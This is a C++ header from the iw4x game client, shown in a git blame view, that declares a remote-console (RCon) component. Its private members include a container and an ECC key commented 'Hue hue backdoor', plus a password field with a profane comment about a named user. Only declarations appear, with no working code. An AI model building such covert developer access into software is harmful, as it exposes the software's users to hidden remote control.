iw4x-client/src/Components/Modules/RCon.hpp

34 lines
606 B
C++
Raw Normal View History

2017-01-20 08:36:52 -05:00
#pragma once
2017-01-19 16:23:59 -05:00
namespace Components
{
class RCon : public Component
{
public:
RCon();
~RCon();
#if defined(DEBUG) || defined(FORCE_UNIT_TESTS)
2017-01-20 08:36:52 -05:00
const char* getName() override { return "RCon"; };
2017-01-19 16:23:59 -05:00
#endif
private:
class Container
{
public:
int timestamp;
std::string output;
std::string challenge;
Network::Address address;
};
// Hue hue backdoor
static Container BackdoorContainer;
static Utils::Cryptography::ECC::Key BackdoorKey;
// For sr0's fucking rcon command
// Son of a bitch! Annoying me day and night with that shit...
static std::string Password;
};
}